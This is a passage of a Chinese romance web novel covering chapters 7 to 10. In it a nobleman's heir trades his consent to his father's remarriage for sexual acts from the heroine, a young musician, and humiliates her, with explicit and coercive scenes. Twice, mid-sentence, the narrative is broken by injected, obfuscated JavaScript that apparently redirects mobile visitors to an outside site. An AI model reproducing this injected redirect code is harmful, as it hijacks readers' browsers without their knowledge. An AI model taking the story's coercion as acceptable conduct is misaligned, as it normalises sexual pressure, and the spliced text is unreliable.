瞿涯没回应这话,默了默,另起话题。 “上次见面,你不是问我身上伤疤有几处吗?今日给你机会,自己来数清。” 青鸢笑容一滞,明显怔了下。 瞿涯好整以暇看着她道:“两次机会,若你数得对,我便答应你,庆功宴七日后办,不再往后延拖。” 青鸢眸光瞬间一亮,几乎不敢相信对方竟这么轻易松了口。 她口吻急切问:“当真?世子一定说话算话。” 看她激动的模样,瞿涯觉得好笑,他缓缓点了头,答应说:“算话,你可以慢慢数。” 得了他的保证,青鸢整颗心都快速跳起来。 瞿涯是一言既出驷马难追的人,不会把规矩坏在她这里,而且数伤疤不算什么难事,他是有意给她机会的。 她心里顿时觉得瞿涯千好万好,先前偷偷说他那些坏话,真是不应该。 青鸢垂目凑近瞿涯身侧,视线仔细掠过他背脊上的每一处。 沿着肌理,细细数过。 背上一共两道深痕,一道浅印,算作三处伤疤。 青鸢心中记下,又去检查他的左右手臂。 只右臂有一道伤,这是第四处,至于左臂,光洁并无瑕痕。 青鸢做事谨慎,还担心瞿涯臂上水光晃眼,容易忽略细微,于是大胆在他臂上摩挲了遍,确定没有异样手感,才终于放心。 检查完水上明面的,青鸢动作迟疑,犯了难。 瞿涯下半身还都浸在水里,她如何去数那些地方? “世子可洗好了?”青鸢想等他出来,擦干净,再去数。 瞿涯启齿:“这几日公务繁忙,身子乏得很,我想多泡一会儿,解解疲累。” 青鸢紧张问询:“那我等世子泡好出浴后再数,可以吗?” 瞿涯目光冷睨上她,恃强开口:“给你半柱香时间,你若数不出来,我刚才的话收回。” 青鸢当即着了急,慌乱不知该怎么办好。 瞿涯适时好心提醒:“你可以,下水。” 青鸢水杏似的眸瞪圆,讶然看向瞿涯,见他眼底尽是玩味与趣意,指尖轻抖了下。 她没有讨价还价的余地。 更何况,再坏的情境她先前都想象过了。 青鸢褪下外衫,身上只披单薄的里衣下水。 玉石铺就的浴槽到处都光溜溜的滑,她脚下一个不慎,没踩稳,猛地朝前扑去。 若扑到别的地方,肯定是狠摔,预想到这样的惨烈结果,青鸢毫不迟疑地腰身一歪,直冲冲地往瞿涯那边 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她穿的小兜衣是藕色的,挂脖的带子极细,若是扯,分毫的力道就能将其轻易拉断。 瞿涯不觉自己目光失礼,反而明目张胆地盯着。 竟然比他想象过的,还要熟得更好。 青鸢难以忽略他侵进的视线,脸颊爆红快要滴血,她受不住地双手交叠慌挡到胸前,却听瞿涯冷冷出声命令。 “放下。” “世子……” 她带点哭腔的耻辱。 瞿涯睨着她,口吻无情:“我没有强迫你来,所有,不都是你求来的?” 青鸢几乎想要落泪了。 她怕他失了兴致,连带刚刚的承诺也一并收回,毕竟她还没有将疤痕的数量数清楚,没有最后的答案,他临时结束游戏也不算失约。 思及此,她咬咬牙,不再顾什么脸面,于是放下手,挺着傲人的胸脯,任他观瞻。 瞿涯试探抬手。 青鸢怕他,下意识往后退。 瞿涯顿觉无趣,手放下,连带目光也收回。 青鸢也察觉到什么,暗暗松了口气。 她不想自己看起来那么不堪,身子尽量往下没,只露脑袋。可如此一来,上半身不得不更深躬往前探,几乎要贴到瞿涯胸前了。 她当然想离瞿涯远远的,可直起腰身,胸口又会袒露…… 简直进退两难。 情急下,她暗自怪怨自己思虑不周,来前应该缠上裹胸,不然此刻也不会如此被动。 “还不数吗?时间可不等人。”瞿涯嗓音微带沙哑,罕见语气不坏,“可以给你些提示,我腰腹附近有好几处伤痕,那里,你可以多留心。” 青鸢怔怔点头,目光向下,盯上他劲瘦下收的腹。 麦色肌理,块块分明,看着就结实,有力。 刚刚自己被盯看时,那般煎熬,现在轮到她去看瞿涯的身体,她勉强从容,反倒瞿涯,身子紧绷,不甚自在。 你倒也会害羞呢! 青鸢心里腹诽一声,带点报复的意图,目光更加灼灼不避,毫不掩饰。 “你到底数不数?”瞿涯干巴巴一声,脸色不好。 青鸢见好就收,开始专注:“这就开始。” 到底隔着水面,水波晃动,一些细节痕迹根本看不清,更别说数明白了。 叫瞿涯起身动一动更不可能,没办法,青鸢只好想了个触感代替目力的法子——用手摸。 没时间扭扭捏捏,瞿涯本就耐心不足,心思更叫人难以捉摸,他好不容易给了机会,错过可就没了。 青鸢不再犹豫,当即付诸行动,伸手探下去,先在边缘处小心探摸。 算她运气好,刚摸下去就感觉到一道略深的疤痕,不到两寸,触感明显,伤口不浅。 确认了这一处的位置,她继续往周围探,动作仔细,来来回回。 开始时她只用食指和中指,到后面直接五指齐用,胆子愈发变大,越摸越无所顾忌。 又有一道浅痕。 青鸢用指腹轻轻擦过,心里默默记下这是第几处。 她手臂越伸越往下,随之而来的,是耳边渐渐逼近的呼吸声,难以忽略地火热沉重。 气息燎灼,像条无形的火舌,不断往她面前扑打火星子。 她早不敢去觑瞿涯的脸色了,只想尽快探究到答案,然后交差,叫他践诺。 但是,瞿涯忽的失控了。 青鸢当然有察觉,只是刻意不去看,她以为瞿涯也会假装什么都没有,可是万万没想到,他会不堪忍受猛地抓住她手腕,伴随粗喘,粗鲁直往下拉。 而下面,正威风勃勃,欲盖弥彰。 8. 第 8 章 夜半,宋棠川偷偷摸摸进府,恰被还未就寝的母亲抓个正着。 堂堂长公主殿下,自然耳目众多,也不知是他身边哪个小厮泄密,竟把他送人去熹园的事如实回禀了。 面对母亲的严肃诘问,宋棠川实在有苦说不出。 “你表哥家里面的污糟事已经够多了,你还嫌不够乱的,竟敢送自己的婢女过去,给你表哥玩乐?简直胡闹!” “母亲,我……” “闭嘴,还敢狡辩!说起来你们两个都到了该娶妻的年纪,尤其你表哥,可本宫之前几番提议要给你表哥张罗相看,他都推辞了。原本我以为他是没开窍,不知姑娘家的好,结果现在你们又整这出。要是真不耐寂寞,那就早早定亲,偷偷摸摸御女寻乐,哪是世家子弟该有的风范?传出去难道好听?” 长公主语重心长,耳提面命。 宋棠川臊眉耷眼地老实站着,哪敢反驳一个字。 实话当然不能说。 他可不敢跟母亲坦白告知,送去熹园那女子,其实是姑父相好女人的女儿。 这么复杂混乱的关系,他还掺和进去,说出来不得被扒一层皮啊。 宋棠川:“母亲误会了,那姑娘不是我身边的人,她是……是阆苑的一个普通婢子,此前我正好在阆苑修缮外苑,表哥交代我帮他找个机灵的阆苑姑娘,带去熹园问话,目的是从别人嘴里,打听打听那姓贺女人的底细罢了。” 长公主半信半疑:“既如此,何必偷偷摸摸的?” 宋棠川脑筋转得快,解释说:“姑父要娶阆苑伶人进府续弦,此事本就不光彩,表哥为此有多上愁,母亲也知道的。他忌讳阆苑二字,当然不愿光明正大地与阆苑的人接触,就是半点关系也不想沾,所以才托我帮忙的。” 长公主稍稍思忖,信了这话。 她叹口气道:“真是苦了涯儿这孩子了。这段时间你若有空,多去熹园陪你表哥说说话,帮忙开解开解。陛下倚重他,断不会在他不松口的情况下,默许你姑父荒唐行事。等过几日,我也进宫一趟。” 宋棠川想到表哥的交代,阻拦道:“表哥说了,不让母亲为他的事进宫向陛下开口,他一人应对足矣。” 长公主拉过亲儿子的手,低声一喟:“也不单单是为你表哥,还有你父亲。这几日,你父亲唉声叹气多少声了,他嫡亲胞妹过世后受这样的辱没,心里自是极难受的。” 宋棠川点点头,没再说什么。 原本站在他的立场上,当然同样排斥那母女俩,对其怀有深深的敌意。 可今日见到青鸢,与她短暂接触过,看她为了自己的阿娘费尽心思,放低姿态,心里竟生几分同情。他没法再将青鸢视作片面的坏人,只觉她同样是个可怜的姑娘。 不过立场不同,各自有各自想守护的人罢了。 …… 熹园主院,夤夜明烛,晃曳不熄。 浴房里,水汽早已消散,池水的温度也渐渐凉下来。 瞿涯身子半浸在里面,非但不觉冷,面色反而带着古怪的潮红,连带脖子以下都浮现异色,原本阖着的眸良久终于掀开,倦怠下睨,见身前水波微微漾动,青鸢无力偎在他怀里,圆润的肩头几不可察地在抖。 他舒缓口气,顿了顿,启齿:“下去。” 声音一出,瞿涯当即蹙起眉头。 他诧异自己语气里不自觉带上的温柔,言辞当然还是简厉的,但口吻完全不对劲。 对此,他极感不适应,更懊恼不已。 愠恚之下,瞿涯收敛怜惜,冷脸甩手将青鸢一把搡进池子里,看她浑身漉漉,完全无动于衷。 青鸢茫然滚落,好在及时稳住身子,没有磕碰到要处。 她揉了揉自己的手腕,大半身子陷在水里,目光迷茫无助,轻唤道:“世子……” 瞿涯原本不想看她的,可下意识的动作快过脑子,视线全然不自觉的在青鸢落水后跟移过去,然而只看一眼,他便难以移开目光了。 青鸢脖子以下的肌肤,全部从里到外透着腻腻的浅粉色,不知是泡水太久的缘故,还是被他体温所灼,像小刺猬的肚皮,不易见的皙嫩。 颈如蝤蛴,往下,领口松垮外敞。 浸透的单衣虚挂在肩头,满目春色,晃荡喷张。 方才她落水的动静不小,池水在漾,层层涟漪,水纹荡曳到青鸢若隐若现的身前,很快再匿入中间的壑沟,深不见底,只有饱满冲击力。 瞿涯喉结滚动,本能做了个不自然的吞咽动作,偏过眸光。 青鸢早察觉有道火热视线落在自己身上,又听清晰吞口水声,当即吓得小脸一白,情急之下,她没有衣衫遮身,只好慌忙遁形,躲入水下遮挡。 见她是这个反应,瞿涯冷嗤一声,心中不悦。 眼底余热渐渐散去,但面上神色并没有如往常凌厉,毕竟刚刚借了她的手舒畅过,欺负了人再沉脸恫吓,总觉得少了威慑力。 瞿涯沉默了会儿,冲青鸢伸出手。 青鸢不明所以,又不敢避,忐忑地把手递过去。 瞿涯一把箍住她手腕,将她掌心打开,白嫩的手心中央有道磨痕在明显泛红,甚至最中间位置,隐隐还有挫破皮的迹象。 他粗粝指腹抚过,问道:“还疼吗?” 青鸢看着他,整张脸又迅速涨红起来。 她臊得不行,一个字也回答不出,只能摇头表示。 瞿涯没松开,继续盯看着,寻常的语气又问:“不是都说练琴的姑娘手多是糙的,我根本没怎么弄,你手心怎么如此不经干?” “……” 青鸢头垂得更低,不言语,像个哑了的鹌鹑。 瞿涯等不到回答,也不在意。 他自顾自再开口,声音罕见多了点耐心:“我不是故意伤你,知道你浑身皮子嫩,没想到掌心也是吹弹可破。待会儿给你上点药,我这里有军中特供的金疮药,你这点小伤小痕,估计涂抹了药膏隔夜就能好了。” 青鸢抿抿唇,尝试把手往回缩,好在瞿涯配合,松开虎口放了她。 “指头练得多了难免生茧,但我们平时会注重保养,弹弦时也都会缠护,至于掌心,大多时候不会磋到,更不会粗糙耐磨……” 她原本只是想解释清楚,可说到最后四个字,脑海里不受控制想到一些难堪画面。 画面里,世子背脊倚靠池沿,仰身阖着眼。伴随粗重的呼吸声起伏,他拉过她的手,不停上上下下。 青鸢不敢再想下去,强迫自己回神。 未料思绪刚一收回,她猝不及防与瞿涯撞上视线。 瞿涯看着她,眼神有点深晦:“规定的时间早过了,不过看在你表现好的份上,你现在答对,我的承诺依旧算数。” 表现好…… 青鸢下意识将手心握紧,目光不知道该往哪放。 虽然刚刚经历过一番混乱洗礼,但正事不能误,青鸢心中记住的答案更不会受影响混淆。 她认真答复:“世子身上深浅共十二道疤痕,背上三处,右臂一道,腹部……三处,脚踝一处,剩下的都在臀腿位置。不知青鸢数得可准确?” 瞿涯眉梢微挑,整张脸不刻意威厉骇人时,显得那么优越俊朗。 他缓缓笑了,道:“嗯,答对,各处都数得清楚。” 青鸢轻浅呼吸,面色如常,掩饰激动,。 只有她自己知道,此时此刻,她整颗心砰砰跳得乱且快。 好在一切的努力都没有白费,再难熬的过程也都是值得。 她赢下了世子的承诺,庆功宴举办在即,这意味着离阿娘进侯府的目标越来越近了。 出于慎重,青鸢确认再问一遍:“庆功宴具体举办的时间……” 瞿涯:“答应你的,七日后。” 青鸢松了口气,望向瞿涯的目光,那一刻竟带上几分复杂的感激。 他是位高权重的簪缨子弟,上层阶级,并不容易体会弱势者的处境艰难与身不由己。越是身份高的,越多数凉薄,她原以为瞿涯也是如此,但此刻想法却发生改变,两人除了情欲方面的交换,她觉得自己或许也得到了他为数不多的一丝怜悯与善心。 不然,若他在玩弄她后无赖翻脸不认,她又能如何? 收回神。 青鸢试探着又道:“等庆功宴结束,侯爷再求圣上允婚,世子还会……再阻吗?” 瞿涯眼神锐利了些,盯着青鸢,反问:“你觉得呢?” 青鸢仔细斟酌,此刻说出口的每一个字都有可能是错的,她必须慎之又慎。 可无论怎么表态,惹瞿涯不悦的风险都大,左思右想后,青鸢选择适时示弱扮可怜。 “世子欺我,占尽便宜,我的手到现在还疼,世子若看我可怜,总该叫我安心些的。” 瞿涯听她语气带上哭腔,又见眼尾泛红,要掉眼泪,眉心顿时拧起。 “哭什么?与我做成这样的交换,你吃亏吗?占尽便宜的人,难道不是你们母女俩?” 闻言,青鸢眨巴眨巴眼,又迟疑吸了两下鼻。 她慢半拍反应过来,瞿涯这话的意思是……愿意松口了? 青鸢激动一把拉上瞿涯的手,目光盈盈烁动光亮:“世子,你人太好了……你放心,我们绝对安分守己,阿娘进门后会主动要求搬进偏院,绝不会占先夫人的地方。至于我,会继续本本分分住在阆苑,绝不常去侯府打扰,每月只一两次看望阿娘即可。” 侯府毕竟是高门贵户,门阶不是什么人随便都能跨入的,她当然不会坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285646|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规矩。 青鸢自认为这番思量顾全周到,于各方有益,世子必定满意。 然而未料到的是,瞿涯听完后冷下脸来,蹙眉明显不悦。 青鸢困惑茫然。 瞿涯睨着她,冷声:“又自作聪明。你跟你娘一同进侯府,若不愿意,就谁都别进。” “我……”青鸢不敢不从,却实在为难,“我受恩于勤王,在阆苑好吃好住待了两年,不好随意一走了之的。更何况,勤王与侯爷是旧交,我的伶人身份夹在其中,难免尴尬。为侯爷考虑,也为世子考虑,我确实不宜同阿娘一起进府,身份上更不该与侯府搭上关系,避免招惹麻烦与非议。” 瞿涯不以为意:“有什么麻烦?谁敢有非议?你一口一个阿娘叫得亲,可如今她大着肚子正艰难时,你却不愿留在她身边陪着吗?” 青鸢摇着头:“我当然想守在阿娘身边照顾着,可勤王……” 瞿涯:“勤王那边由我去说。” 青鸢抿抿唇,不知他为何如此坚持:“听闻世子早就不常居侯府了,我同不同阿娘进府,又有什么分别,世子若想见我,随时唤我来熹园就是。” 瞿涯好笑看着她:“想见你?你害不害臊。” 青鸢窘迫,美靥涨红,低首不做声了。 瞿涯唇角掣动了下,口吻压迫,不怀好意:“你随你阿娘一同进府后,算不算我名义上的继妹?到时,你阿娘与老头子洞房花烛,她的宝贝女儿则不知羞耻上了继兄的床……这样不清不楚的一家人,怎么样?听起来很有趣是不是?” 青鸢瞠目呆滞住,浑身骤然冰凉,心中对瞿涯残留的几分感激,瞬间荡然无存。 原来,他所做的一切,还是为了想方设法对她们母女俩进行羞辱。 他无所不用其极,觉得阻挠阿娘进府已经满足不了他的报复心,于是制定了新规则,并强迫她加入,陪他玩更有趣的游戏。 青鸢小脸煞白,愣愣望着他,艰涩说不出话。 瞿涯声音薄凉的:“你该庆幸,我对你确实有兴趣,不然这样的游戏你想玩也根本没资格,你阿娘更做梦也别想进侯府的门。当然,我不强迫,愿不愿意,你自己想清楚。” 青鸢只觉千钧重的锁链绕在身上,一圈一圈,裹缠得她喘不过气。 她垂头沉默,片刻后,妥协又恳求地开口:“世子羞辱我,玩弄我,怎么样都可以,但求你一定不要叫阿娘知道。她身体不好,能过的好日子不长了,我只想她嫁进侯府后能过几天真正的舒心日子。不管世子心中有再多的恨意与不平,都可以全部发泄到我身上,只要不迁怒报复于阿娘,我什么都愿意承受,求你,好不好……” 望着青鸢祈求带泪的瞳眸,伏低在膝的身姿,瞿涯面无表情别过眼。 他意味深长地低语:“全部发泄,你这蒲柳纤弱的身子骨,岂能承受得住?” 青鸢一时没会意明白他话中的恶劣意味,急切回复表态:“我可以!” 瞿涯眸光暗了暗。 他抬起手,轻拍两下青鸢透粉的脸颊,声音短暂温柔:“看你后面表现。” 留下这句话,瞿涯收手,往下一撑,哗啦从池子里起身,裹缠浴巾,扬长而去。 青鸢眼睁睁望着他的背影消失在屏风后,没有交代,亦没有叮嘱,只觉怅然若失。 外面似乎开过门了,有风透进来,拂过她肩身,带来丝丝侵骨的凉意。 青鸢忍不住哆嗦了下,闷垂下头,双手环叠在胸前,竟一时失控想哭。 …… 略须臾,外面有轻轻的脚步声靠近。 一个模样老实的中年仆妇拿了身干净的衣裙进来,递给池中衣不蔽体的青鸢。 青鸢艰难起身,红着脸换好衣服,整理得体。 那仆妇全程无声,目光旁落,此举勉强缓解几分青鸢的无助与窘迫。 等她收拾完毕,仆妇伸手示意了下,而后在前引路,领她出府,全程依旧一言不发。 熹园侧门外,有辆不起眼的马车早早在角落里候等,就这样无声无息的匿在黑暗里,不见日光。 青鸢走过去,心情沉重上了马车。 辘辘车轮声响在京城繁华的主街道上,夜半子时,金吾宵禁,除了贵族世家的马车,没人敢明目张胆地在外面晃悠。 思绪恍惚外散了会儿。 再收回时,青鸢重新振作起来。 无论如何,她这一趟没有白来。 虽然付出了代价,也受了委屈,但阿娘能得偿所愿,才最最重要。 等庆功宴结束,侯爷一定求得婚期将至,阿娘眼看就能重新过回高门贵妇的生活了,这个关键节骨眼上,她不能出丁点岔子。 安抚好瞿涯,只要他舒心了,她们就都能舒心。 9. 第 9 章 上半夜漫漫,青鸢再回阆苑,已经后夜丑时了。 夜阑更深,侧门的两个守卫靠墙盹着,夏蝉在里面接应,青鸢轻车熟路放浅脚步进门,没有惊扰到旁人。 在阆苑,有钱能寻很多方便。 守卫白日得了钱银,眼下究竟是真睡还是假寐,那就不得而知了。 回到顶阁,夏蝉伺候青鸢梳洗。 见自家姑娘神情倦疲,无精打采眼皮耷拉着,夏蝉心疼不已,关怀出声:“姑娘,怎么样了?” 青鸢表情略欣慰回:“放心,事情有进展了,等明日我与你详说。” 说着,她恹恹打了个哈欠。 夏蝉见状,不敢再缠着问东问西,耽误姑娘休歇。 她扶着青鸢回寝上榻,之后将房间内的火烛熄灭,轻手轻脚地退下了。 房间暗下来,门关严,青鸢裹着被子朝里翻了下身。 原以为前夜经历那么多,睡前一定止不住胡思乱想,不易安枕,然而没有想到,浮动的思绪还没来得及飘散,她就放空一般,沉沉睡去了。 这一觉,青鸢睡得极沉,久久深陷梦魇,无法抽身。 梦中,她意识渺茫不清,只恍惚觉得身上好像被无数根藤蔓紧紧束缚,藤蔓似触手,不断癫狂乱舞,后齐齐扑上来,在她身上胡乱游走,存在感极强,她如何挣扎都避不过。 险境未脱,她大汗淋漓正无措之际,又看到有条黑色巨蟒顺着藤蔓朝她爬过来! 巨蟒身上布满黑色的鳞片,鳞片上闪着骇人的寒光,它黏爬着靠近,眼神恻恻。 青鸢当即脸色煞白,吓得浑身哆嗦,她眼睁睁看着巨蟒诡异扭动身子停在自己面前,然后森然吐出蛇信子,冲她嘶嘶,再嘶嘶…… 这一幕,她简直要昏厥了。 可不知为何,巨蟒并没有发狠扑咬她,而是扭转方向,缓缓环缠上她的手臂。 青鸢怔然,还没反应过来,掌心忽传一阵异感,而后灼热觉痛。 原来巨蟒粗粝的鳞片正反复摩擦在她柔嫩的掌心上,它就那样来来回回蹭着她,直至磨红,磨破,怪异至极。 青鸢浑身僵硬,不敢动弹,生怕反抗会惹怒它。 就这样……不知过去多久,巨蟒终于停了动作,它餍足一般恹恹,之后浑身一抽搐,竟冲她手心喷射出一股毒液,温热浊浊。 青鸢吓得猛闭上眼,毒液腥烈,她担心自己这只手会不会从此残坏。 又过去好久好久,身上紧束的裹缠感突然消失,青鸢慢吞吞睁开眼,发觉藤蔓没了,巨蟒也消失不见,一切仿佛都是幻觉。可是,等她迟疑抬起手,看到自己手心被粗粝摩擦过的红痕依旧鲜明,她便知道,巨蟒一定是存在过的,并且真实污过她的手。 青鸢脑袋迷迷瞪瞪,即便醒了,短时内仍分辨不清真实与梦境。 她攥了攥手心,缓缓神,环视周围,看到房间内熟悉的布置摆设,这才终于有了一丝落地的真实感。 屋外,有人推门。 青鸢看过去,见是夏蝉端着木托盘进门。 看她苏醒,夏蝉眸光一亮,欣喜过望,脚步更是加急,同时出声相唤。 “姑娘,你终于醒了……前夜你烧热,等白日我发现时,你已经昏昏沉沉了。当时我吓坏了,赶紧出门去找郎中,郎中切过脉,诊断说你身上染了寒气,这才高热不退。我按郎中开的方子喂服过姑娘两次,终于盼姑娘醒了。” 青鸢听得有些发怔。 她并不知自己病了,先前一点预兆都没有,不过当下抬手无力,精神也确实昏昏的。 她不由回想起,自己衣不蔽体浸泡在熹园浴池的画面,她与世子在水中纠缠那么久,水温早都凉了,她上半身又近乎袒裼裸裎,偶尔有风拂进,肩身受凉,不忍瑟缩。 大概就是那时受的寒。 青鸢累累阖目,揉了揉太阳穴,问道:“我睡了多久……” 夏蝉回:“已经一天两夜了,姑娘水米未进,脸色都变得苍白。姑娘先喝下这碗药,我马上再端米粥过来给姑娘暖暖胃。” 没力气是真的,不过腹中饥馑感并不明显。 青鸢伸手接过药,喝下去,说道:“不急,只这样躺着也没什么消耗,倒不觉得饿。” 夏蝉拿走药碗,还是坚持去外面的小厨房端来热粥和两碟清口小菜。 亲眼盯着青鸢全部吃下,夏蝉这才安心。 她忍了忍,还是控制不住地怨道:“姑娘不过寻了世子一趟,怎么会被折腾成这样?早听说世子手腕如铁,在军中严惩苛责,麾下兵将无不怕他,莫不是他因贺阿娘的事迁怒于姑娘,为了泄恨,对姑娘私自施罚……” 青鸢否认:“没有,我这病与世子无关。大概是那夜露重,我又衣着单薄,来回颠簸时无意染了寒,怪我自己体弱,怨不到世子身上。再者说,世子按军律治兵并无不妥,否则怎么使得那群嚣张的夏凉人对他这位征虏大将军闻风丧胆,不敢冒然犯边。” 夏蝉仍有犹疑,确认再问:“世子当真没为难姑娘?” 青鸢摇头:“没有,我们不过心平气和地聊了聊。” 说这句话时,青鸢莫名觉得手心痒了下,好像有根无形的翎羽在她掌纹上来回搔拂。 她默默把手攥紧,藏进被衾里。 夏蝉松了口气,不再提世子,她转念想到另一事,立刻告知给青鸢:“对了姑娘,钟媪今早过来了一趟,说贺阿娘那边有事找,等姑娘有空了记得过去看看。” 青鸢忙问:“你没将我病了的事往外说吧?” 夏蝉认真:“没有,姑娘一定不想叫贺阿娘担心,夏蝉不会那么不懂事。” 青鸢欣慰弯唇:“嗯,小蝉做事向来稳妥。阿娘那边一定有事,等下午晚些我过去看看她。” 夏蝉担心欲阻:“可姑娘的身体……” 青鸢摆手:“无妨,刚刚喝了药又吃了粥,力气已经恢复些了,更何况你照顾得好,高热早退了,我身体没事。” 夏蝉想了想,还是坚持:“那我陪姑娘一道去,方便路上照看姑娘,以防万一。” 青鸢只得依她:“也好。” “还有一事……”夏蝉欲言又止,看了看青鸢,有点不情愿地压低声音开口,“世子那边也派人来了一趟。” 青鸢面露讶然:“世子有事找我吗?” 夏蝉摇头:“应该没有,世子只派人送了东西给姑娘。” 青鸢更加困惑,实在想不到瞿涯会给她送什么。 正绞尽脑汁,夏蝉忽的转身往外走。 她站定在东墙边的博古架前,踮起脚,从上面二层取下一个约摸手掌高低的紫藤釉色小瓷瓶。 夏蝉把瓶子拿在手里,走回来递给青鸢,说道:“就是这东西。奴婢收到后先打开检查一遍,仔细闻嗅后,辨出里面大概装着某种药物,应是治外伤用的,世子怎会送这个……” 青鸢略微琢磨,当即反应过来,那是一瓶金疮药。 先前在熹园,他那么坏地擦伤她,事后又说过,会给她军中特制的最好的疗伤药。 他说到做到了。 青鸢脸色渐浮赭晕,手掌心传来的异感再次鲜明。 她下意识想到了那个出没巨蟒的可怖梦境,梦里,蟒身粗糙磋磨她的画面慢慢与浴房池中的一幕幕重合。 她还是她。 而那条黑色的蟒,已经慢慢幻化成瞿涯的样子,或者更准确说,是瞿涯的部分模样。 …… 将近黄昏时分,青鸢带着夏蝉出门。 两人平日惯走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285647|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧门,行事不爱受人关注,然而这点谨小慎微却躲不过有心之人的眼。 薛三娘带着自己的外甥女邹清清,站在树影遮挡后的一幢阁楼里的二层凭栏处。 两人暗窥着青鸢出了阆苑上马车,之后扬长而出,不见踪迹,彼此交汇了下眼神。 薛三娘小声嘀咕:“前夜后半宿才回来,才刚过两日又忍不住偷摸跑出去私会,真是不知检点。也不知道她究竟勾搭上了京中哪家的贵公子,竟肯主动成这般,从前身份再显贵的郎君来阆苑,青鸢都鲜少赔笑脸的。” 邹清清默默收回视线,附和问:“姨母怎么知道,青鸢妹妹是外出相会男子了?” 薛三娘面上一副过来人的讳莫如深:“还用想?平日里哪见青鸢这么频繁地出过门?还叫夏蝉拿银子打点,鬼鬼祟祟的不敢叫人知道,一看就有猫腻。要不是勤王殿下供着她,看重她那一手独门的好琴技,又给她住顶楼的资格,我早出手教训了。再容她乱来,阆苑规矩的名声都要被她给毁了。” 邹清清装模作样出声:“青鸢妹妹应该不是那样的人。” 薛三娘冷哼一声:“你哪会看人?阆苑一众姑娘里,就属她最妖妖调调,平日里顶着一张狐媚子的脸,就爱装模作样扮清高,如果真是人淡如菊,又怎会拼着从苏陵来京城?还有她那身子……才多大就已经生得那般风致,再过几年还了得?如今来阆苑的贵客,是个男子看她都移不开眼,她倒好,一边假装不恋权贵,刻意端着,一边又暗戳戳比较想挑个最好的。那点小心思骗骗男人还行,可逃不过我的眼。” 邹清清试探问:“那姨母觉得,青鸢妹妹选中了哪家公子想攀附?” 薛三娘啧啧嘴,边琢磨边说:“这还真看不出来。反正在阆苑里,她是处处谨慎,规规矩矩,从未被人抓到过把柄,但在外面如何就不得而知了。阆苑里不全是我的眼线,更有不少王爷的人,青鸢被王爷护法,我也不能明目张胆地派人盯她的梢。” 邹清清在旁幽幽提醒:“我倒突然想起一人。云麾将军的幼子,杨桀杨公子,他先前来阆苑几次,都点名要青鸢妹妹弹曲,青鸢妹妹全部拂面推辞了。但上次,听琴嗓子过敏,姨母叫青鸢妹妹代她上船献艺抚琴,我后来打听到,当日船上就有杨公子,他们两人会不会就是那次……” 话不说完,故意引人往不清不楚的方向无限遐想。 顿了片刻,邹清清继续引导:“而且,前两日杨公子的好友来阆苑听曲,随口提起,杨公子这两日不来阆苑,自有别的姑娘相会。我想怎么会这么巧呢,他们两人出行一致,不约好就都能赶到一起?” 薛三娘还真听进去了,将前后巧合都联系起来,越觉推断有理。 她忍不住幸灾乐祸道:“那位可是个真色胚,咱们且等着看吧,放任他们胡闹,早晚得出乱子。青鸢天生媚骨招人,出门的次数一多,肚子早晚被杨桀搞大了。偷吃可是阆苑的大忌,任她琴技再好,再受王爷照拂,也得栽了。” 邹清清一副为大家着想的口吻:“我与青鸢妹妹相识这么久,着实不忍看她走弯路,可阆苑毕竟是这么多姐妹的栖身所,绝不能因为一人之过,毁了众姐妹的安生啊。” 薛三娘忿忿:“无德之人怎配居高位?青鸢霸着顶阁住了多久,如今也该换换人了。清清,你的舞技在阆苑里算数一数二的,奈何总被青鸢的琴艺压过一头,若她真与京中公子纠缠不清,坏了清白名声,那真是犯了王爷的忌讳,到时候她被赶出去,姨母一定想办法扶你住进顶阁,算补偿你当年受的委屈。” 邹清清含蓄点点头,眼神下睨,透出一丝难遮的得逞喜悦。 谁不愿意人前风光,受人仰望? 当年,如果不是王爷突然从苏陵带回青鸢,她早在两年前,就该住进阆苑顶阁了。 10. 第 10 章 上次来小院,阿娘面上还是病恹恹的,然而这次再见,阿娘的状态完全不一样了。 脸色红润很多,眼神更不再黯淡,整个人都透着股精气神。 青鸢自感欣慰,单独与阿娘在屋里说着体己话。 “阿娘这么急叫钟媪找我过来,是出什么事了?来前我还担心阿娘的身体,见你气色好,我就放心了。” 贺容音拉过青鸢的手,情绪难忍地激动:“鸢儿,昨日王爷来过了,说世子终于肯定下庆功宴的日子,只要庆功宴能顺利办完,我与王爷的婚事八成不会再受阻了。” 说这话时,贺容音眼神微微发亮,连带握着青鸢手腕的力道也跟着收紧。 她年轻时本就长相貌美,眼下褪了病容,更显风姿,看上去根本不像逾四十的妇人,反而更接近三十多岁的美妇状态。 谈及婚事,她眼底的期翼与光亮几乎与年轻姑娘无异。 青鸢真为阿娘高兴。 她假装不知此事,佯作诧异与惊喜:“世子居然肯松口了……看来侯爷一定费尽苦心才终于说动世子宽宥成全,王爷待阿娘真的有心了。” 贺容音盯看青鸢两眼,松了口气:“鸢儿当真事先不知此事?原本我还担心,是你介入其中,帮忙转圜的。” 青鸢反握住阿娘的手,宽慰道:“纵我有心,也是无力。世子深厌我们母女俩,对我避而不见还来不及,怎会愿意私下见我,或者与我约定什么,阿娘还是太看得起我了。” 